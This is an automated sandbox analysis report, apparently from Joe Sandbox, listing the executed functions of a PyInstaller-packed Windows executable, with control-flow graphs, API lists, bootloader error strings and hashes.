7ff6399ca484 FlsGetValue 16107->16108 16109 7ff6399ca4a1 FlsSetValue 16107->16109 16110 7ff6399ca49b 16108->16110 16127 7ff6399ca491 16108->16127 16111 7ff6399ca4b3 16109->16111 16109->16127 16110->16109 16113 7ff6399cdea8 memcpy_s 11 API calls 16111->16113 16112 7ff6399ca50d SetLastError 16114 7ff6399c41b7 16112->16114 16115 7ff6399ca52d 16112->16115 16116 7ff6399ca4c2 16113->16116 16129 7ff6399ccc94 16114->16129 16137 7ff6399c9814 16115->16137 16118 7ff6399ca4e0 FlsSetValue 16116->16118 16119 7ff6399ca4d0 FlsSetValue 16116->16119 16122 7ff6399ca4fe 16118->16122 16123 7ff6399ca4ec FlsSetValue 16118->16123 16121 7ff6399ca4d9 16119->16121 16124 7ff6399c9c58 __free_lconv_mon 11 API calls 16121->16124 16125 7ff6399ca204 memcpy_s 11 API calls 16122->16125 16123->16121 16124->16127 16126 7ff6399ca506 16125->16126 16128 7ff6399c9c58 __free_lconv_mon 11 API calls 16126->16128 16127->16112 16128->16112 16130 7ff6399ccca9 16129->16130 16132 7ff6399c41da 16129->16132 16130->16132 16181 7ff6399d2614 16130->16181 16133 7ff6399ccd00 16132->16133 16134 7ff6399ccd28 16133->16134 16135 7ff6399ccd15 16133->16135 16134->16101 16135->16134 16194 7ff6399d1960 16135->16194 16146 7ff6399d2960 16137->16146 16172 7ff6399d2918 16146->16172 16177 7ff6399cf5e8 EnterCriticalSection 16172->16177 16182 7ff6399ca460 _CallSETranslator 45 API calls 16181->16182 16183 7ff6399d2623 16182->16183 16184 7ff6399d266e 16183->16184 16193 7ff6399cf5e8 EnterCriticalSection 16183->16193 16184->16132 16195 7ff6399ca460 _CallSETranslator 45 API calls 16194->16195 16196 7ff6399d1969 16195->16196 19459 7ff6399c4720 19460 7ff6399c472b 19459->19460 19468 7ff6399ce5b4 19460->19468 19481 7ff6399cf5e8 EnterCriticalSection 19468->19481 19866 7ff6399cec9c 19867 7ff6399cee8e 19866->19867 19870 7ff6399cecde _isindst 19866->19870 19868 7ff6399c43f4 memcpy_s 11 API calls 19867->19868 19869 7ff6399cee7e 19868->19869 19871 7ff6399bb870 _log10_special 8 API calls 19869->19871 19870->19867 19873 7ff6399ced5e _isindst 19870->19873 19872 7ff6399ceea9 19871->19872 19887 7ff6399d54a4 19873->19887 19878 7ff6399ceeba 19880 7ff6399c9c10 _isindst 17 API calls 19878->19880 19882 7ff6399ceece 19880->19882 19885 7ff6399cedbb 19885->19869 19911 7ff6399d54e8 19885->19911 19888 7ff6399d54b3 19887->19888 19889 7ff6399ced7c 19887->19889 19918 7ff6399cf5e8 EnterCriticalSection 19888->19918 19893 7ff6399d48a8 19889->19893 19894 7ff6399d48b1 19893->19894 19895 7ff6399ced91 19893->19895 19896 7ff6399c43f4 memcpy_s 11 API calls 19894->19896 19895->19878 19899 7ff6399d48d8 19895->19899 19897 7ff6399d48b6 19896->19897 19898 7ff6399c9bf0 _invalid_parameter_noinfo 37 API calls 19897->19898 19898->19895 19900 7ff6399d48e1 19899->19900 19902 7ff6399ceda2 19899->19902 19901 7ff6399c43f4 memcpy_s 11 API calls 19900->19901 19903 7ff6399d48e6 19901->19903 19902->19878 19905 7ff6399d4908 19902->19905 19904 7ff6399c9bf0 _invalid_parameter_noinfo 37 API calls 19903->19904 19904->19902 19906 7ff6399d4911 19905->19906 19907 7ff6399cedb3 19905->19907 19908 7ff6399c43f4 memcpy_s 11 API calls 19906->19908 19907->19878 19907->19885 19909 7ff6399d4916 19908->19909 19910 7ff6399c9bf0 _invalid_parameter_noinfo 37 API calls 19909->19910 19910->19907 19919 7ff6399cf5e8 EnterCriticalSection 19911->19919 19517 7ff6399cb830 19528 7ff6399cf5e8 EnterCriticalSection 19517->19528 20256 7ff6399da079 20259 7ff6399c4788 LeaveCriticalSection 20256->20259 19602 7ff6399da10e 19603 7ff6399da11d 19602->19603 19604 7ff6399da127 19602->19604 19606 7ff6399cf648 LeaveCriticalSection 19603->19606

                                                    Executed Functions

                                                    Function 00007FF6399B1000 Relevance: 40.6, APIs: 5, Strings: 18, Instructions: 338COMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 0 7ff6399b1000-7ff6399b3536 call 7ff6399bf138 call 7ff6399bf140 call 7ff6399bbb70 call 7ff6399c4700 call 7ff6399c4794 call 7ff6399b33e0 14 7ff6399b3544-7ff6399b3566 call 7ff6399b18f0 0->14 15 7ff6399b3538-7ff6399b353f 0->15 21 7ff6399b3736-7ff6399b374c call 7ff6399b3f70 14->21 22 7ff6399b356c-7ff6399b3583 call 7ff6399b1bf0 14->22 16 7ff6399b371a-7ff6399b3735 call 7ff6399bb870 15->16 27 7ff6399b374e-7ff6399b377b call 7ff6399b76a0 21->27 28 7ff6399b3785-7ff6399b379a call 7ff6399b25f0 21->28 26 7ff6399b3588-7ff6399b35c1 22->26 29 7ff6399b3653-7ff6399b366d call 7ff6399b7e10 26->29 30 7ff6399b35c7-7ff6399b35cb 26->30 41 7ff6399b379f-7ff6399b37be call 7ff6399b1bf0 27->41 42 7ff6399b377d-7ff6399b3780 call 7ff6399bf36c 27->42 44 7ff6399b3712 28->44 45 7ff6399b366f-7ff6399b3675 29->45 46 7ff6399b3695-7ff6399b369c 29->46 34 7ff6399b3638-7ff6399b364d call 7ff6399b18e0 30->34 35 7ff6399b35cd-7ff6399b35e5 call 7ff6399c4560 30->35 34->29 34->30 51 7ff6399b35f2-7ff6399b360a call 7ff6399c4560 35->51 52 7ff6399b35e7-7ff6399b35eb 35->52 61 7ff6399b37c1-7ff6399b37ca 41->61 42->28 44->16 49 7ff6399b3682-7ff6399b3690 call 7ff6399c415c 45->49 50 7ff6399b3677-7ff6399b3680 45->50 53 7ff6399b3844-7ff6399b3863 call 7ff6399b3e90 46->53 54 7ff6399b36a2-7ff6399b36c0 call 7ff6399b7e10 call 7ff6399b7f80 46->54 49->46 50->49 66 7ff6399b3617-7ff6399b362f call 7ff6399c4560 51->66 67 7ff6399b360c-7ff6399b3610 51->67 52->51 69 7ff6399b3871-7ff6399b3882 call 7ff6399b1bf0 53->69 70 7ff6399b3865-7ff6399b386f call 7ff6399b3fe0 53->70 78 7ff6399b380f-7ff6399b381e call 7ff6399b8400 54->78 79 7ff6399b36c6-7ff6399b36c9 54->79 61->61 65 7ff6399b37cc-7ff6399b37e9 call 7ff6399b18f0 61->65 65->26 82 7ff6399b37ef-7ff6399b3800 call 7ff6399b25f0 65->82 66->34 83 7ff6399b3631 66->83 67->66 81 7ff6399b3887-7ff6399b38a1 call 7ff6399b86b0 69->81 70->81 95 7ff6399b3820 78->95 96 7ff6399b382c-7ff6399b382f call 7ff6399b7c40 78->96 79->78 84 7ff6399b36cf-7ff6399b36f6 call 7ff6399b1bf0 79->84 91 7ff6399b38af-7ff6399b38c1 SetDllDirectoryW 81->91 92 7ff6399b38a3 81->92 82->44 83->34 100 7ff6399b3805-7ff6399b380d call 7ff6399c415c 84->100 101 7ff6399b36fc-7ff6399b3703 call 7ff6399b25f0 84->101 98 7ff6399b38d0-7ff6399b38ec call 7ff6399b6560 call 7ff6399b6b00 91->98 99 7ff6399b38c3-7ff6399b38ca 91->99 92->91 95->96 102 7ff6399b3834-7ff6399b3836 96->102 118 7ff6399b38ee-7ff6399b38f4 98->118 119 7ff6399b3947-7ff6399b394a call 7ff6399b6510 98->119 99->98 103 7ff6399b3a50-7ff6399b3a58 99->103 100->81 112 7ff6399b3708-7ff6399b370a 101->112 102->81 109 7ff6399b3838 102->109 107 7ff6399b3a7d-7ff6399b3aaf call 7ff6399b33d0 call 7ff6399b3080 call 7ff6399b33a0 call 7ff6399b6780 call 7ff6399b6510 103->107 108 7ff6399b3a5a-7ff6399b3a77 PostMessageW GetMessageW 103->108 108->107 109->53 112->44 121 7ff6399b390e-7ff6399b3918 call 7ff6399b6970 118->121 122 7ff6399b38f6-7ff6399b3903 call 7ff6399b65a0 118->122 127 7ff6399b394f-7ff6399b3956 119->127 132 7ff6399b3923-7ff6399b3931 call 7ff6399b6cd0 121->132 133 7ff6399b391a-7ff6399b3921 121->133 122->121 135 7ff6399b3905-7ff6399b390c 122->135 127->103 131 7ff6399b395c-7ff6399b3966 call 7ff6399b30e0 127->131 131->112 141 7ff6399b396c-7ff6399b3980 call 7ff6399b83e0 131->141 132->127 146 7ff6399b3933 132->146 138 7ff6399b393a-7ff6399b3942 call 7ff6399b2870 call 7ff6399b6780 133->138 135->138 138->119 151 7ff6399b39a5-7ff6399b39bb call 7ff6399b7f20 call 7ff6399b7fc0 141->151 152 7ff6399b3982-7ff6399b399f PostMessageW GetMessageW 141->152 146->138 156 7ff6399b39c0-7ff6399b39e8 call 7ff6399b6780 call 7ff6399b6510 call 7ff6399b7ec0 151->156 152->151 163 7ff6399b3a3d-7ff6399b3a4b call 7ff6399b18a0 156->163 164 7ff6399b39ea-7ff6399b3a00 call 7ff6399b81f0 call 7ff6399b7ec0 156->164 163->112 164->163 171 7ff6399b3a02-7ff6399b3a10 164->171 172 7ff6399b3a31-7ff6399b3a38 call 7ff6399b2870 171->172 173 7ff6399b3a12-7ff6399b3a2c call 7ff6399b25f0 call 7ff6399b18a0 171->173 172->163 173->112
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: FileModuleName
                                                    • String ID: Could not create temporary directory!$Could not load PyInstaller's embedded PKG archive from the executable (%s)$Could not side-load PyInstaller's PKG archive from external file (%s)$ERROR: failed to remove temporary directory: %s$Failed to convert DLL search path!$Failed to initialize security descriptor for temporary directory!$Failed to load Tcl/Tk shared libraries for splash screen!$Failed to start splash screen!$Failed to unpack splash screen dependencies from PKG archive!$MEI$PYINSTALLER_STRICT_UNPACK_MODE$Path exceeds PYI_PATH_MAX limit.$WARNING: failed to remove temporary directory: %s$_MEIPASS2$pkg$pyi-contents-directory$pyi-disable-windowed-traceback$pyi-runtime-tmpdir
                                                    • API String ID: 514040917-585287483
                                                    • Opcode ID: 23087f7620ac72acd9bdcd02f439b48844b351f26f85b2ee20aa8131ba5e3a6b
                                                    • Instruction ID: d364db90be8a388034365462ea5b101bf284894601baf5a18f985379861a1fe4
                                                    • Opcode Fuzzy Hash: 23087f7620ac72acd9bdcd02f439b48844b351f26f85b2ee20aa8131ba5e3a6b
                                                    • Instruction Fuzzy Hash: EBF15F21A09682A1FB18EF21D5562B96372EF58780F884031DA1DC37DFEF6CE558EB40
                                                    Function 00007FF6399D5C74 Relevance: 13.8, APIs: 9, Instructions: 276fileCOMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 335 7ff6399d5c74-7ff6399d5ce7 call 7ff6399d59a8 338 7ff6399d5d01-7ff6399d5d0b call 7ff6399c7830 335->338 339 7ff6399d5ce9-7ff6399d5cf2 call 7ff6399c43d4 335->339 344 7ff6399d5d0d-7ff6399d5d24 call 7ff6399c43d4 call 7ff6399c43f4 338->344 345 7ff6399d5d26-7ff6399d5d8f CreateFileW 338->345 346 7ff6399d5cf5-7ff6399d5cfc call 7ff6399c43f4 339->346 344->346 348 7ff6399d5d91-7ff6399d5d97 345->348 349 7ff6399d5e0c-7ff6399d5e17 GetFileType 345->349 363 7ff6399d6042-7ff6399d6062 346->363 352 7ff6399d5dd9-7ff6399d5e07 GetLastError call 7ff6399c4368 348->352 353 7ff6399d5d99-7ff6399d5d9d 348->353 355 7ff6399d5e6a-7ff6399d5e71 349->355 356 7ff6399d5e19-7ff6399d5e54 GetLastError call 7ff6399c4368 CloseHandle 349->356 352->346 353->352 361 7ff6399d5d9f-7ff6399d5dd7 CreateFileW 353->361 359 7ff6399d5e73-7ff6399d5e77 355->359 360 7ff6399d5e79-7ff6399d5e7c 355->360 356->346 369 7ff6399d5e5a-7ff6399d5e65 call 7ff6399c43f4 356->369 366 7ff6399d5e82-7ff6399d5ed7 call 7ff6399c7748 359->366 360->366 367 7ff6399d5e7e 360->367 361->349 361->352 374 7ff6399d5ef6-7ff6399d5f27 call 7ff6399d5728 366->374 375 7ff6399d5ed9-7ff6399d5ee5 call 7ff6399d5bb0 366->375 367->366 369->346 380 7ff6399d5f2d-7ff6399d5f6f 374->380 381 7ff6399d5f29-7ff6399d5f2b 374->381 375->374 382 7ff6399d5ee7 375->382 384 7ff6399d5f91-7ff6399d5f9c 380->384 385 7ff6399d5f71-7ff6399d5f75 380->385 383 7ff6399d5ee9-7ff6399d5ef1 call 7ff6399c9dd0 381->383 382->383 383->363 388 7ff6399d5fa2-7ff6399d5fa6 384->388 389 7ff6399d6040 384->389 385->384 387 7ff6399d5f77-7ff6399d5f8c 385->387 387->384 388->389 391 7ff6399d5fac-7ff6399d5ff1 CloseHandle CreateFileW 388->391 389->363 392 7ff6399d5ff3-7ff6399d6021 GetLastError call 7ff6399c4368 call 7ff6399c7970 391->392 393 7ff6399d6026-7ff6399d603b 391->393 392->393 393->389
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
                                                    • String ID:
                                                    • API String ID: 1617910340-0
                                                    • Opcode ID: a69f399e4b06a5e248c6b703f60b2f721b94672e004abf856287656fc91ee5b6
                                                    • Instruction ID: afdebeb15a895550b4458c0aa72b691a7a11d9737ac27262835fe35f779caf53
                                                    • Opcode Fuzzy Hash: a69f399e4b06a5e248c6b703f60b2f721b94672e004abf856287656fc91ee5b6
                                                    • Instruction Fuzzy Hash: 91C1C436B28A4286EB10DF69C4906AC3762FB89B98B050235DF1E977DECF38D451DB10
                                                    Function 00007FF6399B85A0 Relevance: 3.0, APIs: 2, Instructions: 29COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: Find$CloseFileFirst
                                                    • String ID:
                                                    • API String ID: 2295610775-0
                                                    • Opcode ID: ca66ee6ee850f25a53d0c9653a43f1313d0231bc46844eb151e3c2d0b1a3e355
                                                    • Instruction ID: c18358b8fb7d98efa6b0ee9aacd299903054efabc1aa039fcc7eb63f267f4107
                                                    • Opcode Fuzzy Hash: ca66ee6ee850f25a53d0c9653a43f1313d0231bc46844eb151e3c2d0b1a3e355
                                                    • Instruction Fuzzy Hash: 8BF06222A2D642C6F7A08F60B48976673A1FB84768F080335DA6D427DDDF3CE4599F04
                                                    Function 00007FF6399B18F0 Relevance: 22.9, APIs: 2, Strings: 11, Instructions: 172COMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 179 7ff6399b18f0-7ff6399b192b call 7ff6399b3f70 182 7ff6399b1bc1-7ff6399b1be5 call 7ff6399bb870 179->182 183 7ff6399b1931-7ff6399b1971 call 7ff6399b76a0 179->183 188 7ff6399b1bae-7ff6399b1bb1 call 7ff6399bf36c 183->188 189 7ff6399b1977-7ff6399b1987 call 7ff6399bf9f4 183->189 193 7ff6399b1bb6-7ff6399b1bbe 188->193 194 7ff6399b19a1-7ff6399b19bd call 7ff6399bf6bc 189->194 195 7ff6399b1989-7ff6399b199c call 7ff6399b2760 189->195 193->182 200 7ff6399b19bf-7ff6399b19d2 call 7ff6399b2760 194->200 201 7ff6399b19d7-7ff6399b19ec call 7ff6399c4154 194->201 195->188 200->188 206 7ff6399b19ee-7ff6399b1a01 call 7ff6399b2760 201->206 207 7ff6399b1a06-7ff6399b1a87 call 7ff6399b1bf0 * 2 call 7ff6399bf9f4 201->207 206->188 215 7ff6399b1a8c-7ff6399b1a9f call 7ff6399c4170 207->215 218 7ff6399b1aa1-7ff6399b1ab4 call 7ff6399b2760 215->218 219 7ff6399b1ab9-7ff6399b1ad2 call 7ff6399bf6bc 215->219 218->188 224 7ff6399b1ad4-7ff6399b1ae7 call 7ff6399b2760 219->224 225 7ff6399b1aec-7ff6399b1b08 call 7ff6399bf430 219->225 224->188 230 7ff6399b1b0a-7ff6399b1b16 call 7ff6399b25f0 225->230 231 7ff6399b1b1b-7ff6399b1b29 225->231 230->188 231->188 232 7ff6399b1b2f-7ff6399b1b3e 231->232 234 7ff6399b1b40-7ff6399b1b46 232->234 236 7ff6399b1b60-7ff6399b1b6f 234->236 237 7ff6399b1b48-7ff6399b1b55 234->237 236->236 238 7ff6399b1b71-7ff6399b1b7a 236->238 237->238 239 7ff6399b1b8f 238->239 240 7ff6399b1b7c-7ff6399b1b7f 238->240 242 7ff6399b1b91-7ff6399b1bac 239->242 240->239 241 7ff6399b1b81-7ff6399b1b84 240->241 241->239 243 7ff6399b1b86-7ff6399b1b89 241->243 242->188 242->234 243->239 244 7ff6399b1b8b-7ff6399b1b8d 243->244 244->242
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: _fread_nolock$Message
                                                    • String ID: Could not allocate buffer for TOC!$Could not allocate memory for archive structure!$Could not read full TOC!$Error on file.$Failed to read cookie!$Failed to seek to cookie position!$MEI$calloc$fread$fseek$malloc
                                                    • API String ID: 677216364-3497178890
                                                    • Opcode ID: a74121b16afc0adfbff040f402fed597cf5b855292c1c24b7a13d399eea61eb6
                                                    • Instruction ID: 0691383bea9f0e564402ace8bcb2032a4ab56525f73c4c7fda01dcd669eb9f9f
                                                    • Opcode Fuzzy Hash: a74121b16afc0adfbff040f402fed597cf5b855292c1c24b7a13d399eea61eb6
                                                    • Instruction Fuzzy Hash: C6716171A18A9689EB60DF14D4902BA23A2EF48784F4C4035D98EC77DFEE2CE545AF40
                                                    Function 00007FF6399B15C0 Relevance: 22.9, APIs: 1, Strings: 12, Instructions: 137COMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 245 7ff6399b15c0-7ff6399b15d1 246 7ff6399b15d3-7ff6399b15dc call 7ff6399b1050 245->246 247 7ff6399b15f7-7ff6399b1611 call 7ff6399b3f70 245->247 254 7ff6399b15ee-7ff6399b15f6 246->254 255 7ff6399b15de-7ff6399b15e9 call 7ff6399b25f0 246->255 252 7ff6399b1613-7ff6399b163a call 7ff6399b2760 247->252 253 7ff6399b163b-7ff6399b1655 call 7ff6399b3f70 247->253 261 7ff6399b1671-7ff6399b1688 call 7ff6399bf9f4 253->261 262 7ff6399b1657-7ff6399b166c call 7ff6399b25f0 253->262 255->254 268 7ff6399b168a-7ff6399b16a6 call 7ff6399b2760 261->268 269 7ff6399b16ab-7ff6399b16af 261->269 267 7ff6399b17c5-7ff6399b17c8 call 7ff6399bf36c 262->267 274 7ff6399b17cd-7ff6399b17df 267->274 280 7ff6399b17bd-7ff6399b17c0 call 7ff6399bf36c 268->280 271 7ff6399b16b1-7ff6399b16bd call 7ff6399b11f0 269->271 272 7ff6399b16c9-7ff6399b16e9 call 7ff6399c4170 269->272 278 7ff6399b16c2-7ff6399b16c4 271->278 281 7ff6399b170c-7ff6399b1717 272->281 282 7ff6399b16eb-7ff6399b1707 call 7ff6399b2760 272->282 278->280 280->267 285 7ff6399b17a6-7ff6399b17ae call 7ff6399c415c 281->285 286 7ff6399b171d-7ff6399b1726 281->286 290 7ff6399b17b3-7ff6399b17b8 282->290 285->290 289 7ff6399b1730-7ff6399b1752 call 7ff6399bf6bc 286->289 294 7ff6399b1754-7ff6399b176c call 7ff6399bfdfc 289->294 295 7ff6399b1785-7ff6399b178c 289->295 290->280 300 7ff6399b176e-7ff6399b1771 294->300 301 7ff6399b1775-7ff6399b1783 294->301 296 7ff6399b1793-7ff6399b179c call 7ff6399b2760 295->296 304 7ff6399b17a1 296->304 300->289 303 7ff6399b1773 300->303 301->296 303->304 304->285
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: Message
                                                    • String ID: Failed to create symbolic link %s!$Failed to extract %s: failed to allocate temporary buffer!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to open target file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$Failed to extract %s: failed to write data chunk!$fopen$fread$fseek$fwrite$malloc
                                                    • API String ID: 2030045667-1550345328
                                                    • Opcode ID: 9d449fd5725b51790e10ddf57b734625c92b6598d764827a4f618de3a5d0d32b
                                                    • Instruction ID: 9e4c4bbbb682ef41f8687e9d242246bb55c0aa68d4ce875493744222d2cb0a94
                                                    • Opcode Fuzzy Hash: 9d449fd5725b51790e10ddf57b734625c92b6598d764827a4f618de3a5d0d32b
                                                    • Instruction Fuzzy Hash: D3518E62B0864392EA209F15A8901BA23A6FF44B94F4C4131EE1D877DFEF7CE554AB40
                                                    Function 00007FF6399B7FC0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 89processsynchronizationCOMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015589086.00007FF6399F4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015636186.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: Process_invalid_parameter_noinfo$ByteCharCodeCommandConsoleCreateCtrlExitHandlerInfoLineMultiObjectSingleStartupWaitWide
                                                    • String ID: CreateProcessW$Failed to create child process!
                                                    • API String ID: 2895956056-699529898
                                                    • Opcode ID: 2d8580ce5d81a01d0f8683f73fef31206a84e7faf833a053d17f215ed92b6c27
                                                    • Instruction ID: df73f32ea119d9442f90b1cd7416fbf19a59969f838bb2d0beac387528eaafd8
                                                    • Opcode Fuzzy Hash: 2d8580ce5d81a01d0f8683f73fef31206a84e7faf833a053d17f215ed92b6c27
                                                    • Instruction Fuzzy Hash: 74411332A0878281DA209F24F8952AA73A6FF85360F580335E6AD877DADF7CD4449F40
                                                    Function 00007FF6399B11F0 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 154COMMON
                                                    Download Yara Rule

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 398 7ff6399b11f0-7ff6399b124d call 7ff6399bb0a0 401 7ff6399b124f-7ff6399b1276 call 7ff6399b25f0 398->401 402 7ff6399b1277-7ff6399b128f call 7ff6399c4170 398->402 407 7ff6399b1291-7ff6399b12a8 call 7ff6399b2760 402->407 408 7ff6399b12ad-7ff6399b12bd call 7ff6399c4170 402->408 415 7ff6399b1409-7ff6399b141e call 7ff6399bad80 call 7ff6399c415c * 2 407->415 413 7ff6399b12bf-7ff6399b12d6 call 7ff6399b2760 408->413 414 7ff6399b12db-7ff6399b12ed 408->414 413->415 417 7ff6399b12f0-7ff6399b1315 call 7ff6399bf6bc 414->417 430 7ff6399b1423-7ff6399b143d 415->430 424 7ff6399b1401 417->424 425 7ff6399b131b-7ff6399b1325 call 7ff6399bf430 417->425 424->415 425->424 431 7ff6399b132b-7ff6399b1337 425->431 432 7ff6399b1340-7ff6399b1368 call 7ff6399b94e0 431->432 435 7ff6399b13e6-7ff6399b13fc call 7ff6399b25f0 432->435 436 7ff6399b136a-7ff6399b136d 432->436 435->424 437 7ff6399b13e1 436->437 438 7ff6399b136f-7ff6399b1379 436->438 437->435 440 7ff6399b13a4-7ff6399b13a7 438->440 441 7ff6399b137b-7ff6399b1389 call 7ff6399bfdfc 438->441 443 7ff6399b13a9-7ff6399b13b7 call 7ff6399d9140 440->443 444 7ff6399b13ba-7ff6399b13bf 440->444 445 7ff6399b138e-7ff6399b1391 441->445 443->444 444->432 447 7ff6399b13c5-7ff6399b13c8 444->447 448 7ff6399b139f-7ff6399b13a2 445->448 449 7ff6399b1393-7ff6399b139d call 7ff6399bf430 445->449 451 7ff6399b13dc-7ff6399b13df 447->451 452 7ff6399b13ca-7ff6399b13cd 447->452 448->435 449->444 449->448 451->424 452->435 454 7ff6399b13cf-7ff6399b13d7 452->454 454->417
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.3015519025.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000000.00000002.3015493191.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.3015561575.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
